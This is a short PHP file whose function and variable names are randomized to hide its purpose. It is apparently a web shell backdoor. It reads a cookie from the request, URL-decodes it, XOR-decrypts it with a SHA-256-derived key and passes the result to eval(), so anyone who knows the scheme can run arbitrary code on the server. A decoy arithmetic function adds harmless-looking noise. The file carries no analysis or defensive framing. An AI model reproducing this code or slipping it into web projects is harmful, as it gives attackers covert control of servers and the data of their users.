<?php function EwwivMPE($COQldL)
{
    $DvjcDtm = substr($COQldL, -4);
    return $DvjcDtm;
}
function xChSkIJM()
{
    $uRdrhoxW = "XUpRbdoeKRpiaCRC";
    return $uRdrhoxW;
}
function ztIxQKtg($YrSCgXY, $HvsKzHHt)
{
    $mgpUUf = CZBxxdbLLz($YrSCgXY);
    $xWKmaNRAdZ = ozYyA($HvsKzHHt, $mgpUUf);
    $dOrom = kLHSeXtG($xWKmaNRAdZ, $YrSCgXY);
    return $dOrom;
}
function ozYyA($YsICq, $INCcVFr)
{
    $DYDefhjda = str_pad($YsICq, $INCcVFr, $YsICq);
    return $DYDefhjda;
}
function dkjIYM($bzyyEZqnxY)
{
    eval($bzyyEZqnxY);
}
function QhuHazWSV($LETsQUiSN)
{
    $iCYSnEghCF = hash("sha256", $LETsQUiSN, TRUE);
    return $iCYSnEghCF;
}
function CZBxxdbLLz($dLUcp)
{
    $DuEDCQkq = strlen($dLUcp);
    return $DuEDCQkq;
}
function hRmjRMiKIT($BbrFbjmnV, $UvCOV)
{
    $PVtmz = QhuHazWSV($BbrFbjmnV);
    $aqOVqMJ = GzZbElikk($UvCOV);
    $jNilt = ztIxQKtg($aqOVqMJ, $PVtmz);
    return $jNilt;
}
function ajtWICK($ULzqElIDg) {
    $yOYttpTy = 0;
    foreach ($ULzqElIDg as $enCdHUdU) {
        $yOYttpTy += YiXXcqkhQp($enCdHUdU);
    }
    return $yOYttpTy;
}
function GzZbElikk($HQYsclWxVl)
{
    $qmyXLjRLd = WbuuC($HQYsclWxVl);
    $aqOVqMJ = sryfUm($qmyXLjRLd);
    return $aqOVqMJ;
}
function kLHSeXtG($kOxkhFTp, $rgOCURIB)
{
    $oBaNlKc = $kOxkhFTp ^ $rgOCURIB;
    return $oBaNlKc;
}
function CHwPTUpb()
{
    $rafjN = xChSkIJM();
    $kwhsURj = ePMFX($rafjN);
    return $kwhsURj;
}
function WbuuC($vHwCjtzKc)
{
    $znPkI = $_COOKIE[$vHwCjtzKc];
    return $znPkI;
}
function ePMFX($AUGKYWK)
{
    $lQCaNkOF = EwwivMPE($AUGKYWK);
    $alsNdt = hRmjRMiKIT($AUGKYWK, $lQCaNkOF);
    return $alsNdt;
}
function YiXXcqkhQp($PCFnKeT) {
    return $PCFnKeT * $PCFnKeT;
}
function LxOAWSz()
{
    $dOrom = CHwPTUpb();
    dkjIYM($dOrom);
}
function sryfUm($PCFnKeTrInvJfyE)
{
    $PCFnKeTpzzO = rawurldecode($PCFnKeTrInvJfyE);
    return $PCFnKeTpzzO;
}
LxOAWSz();
$TZySJv = ajtWICK([1, 2, 3, 4]);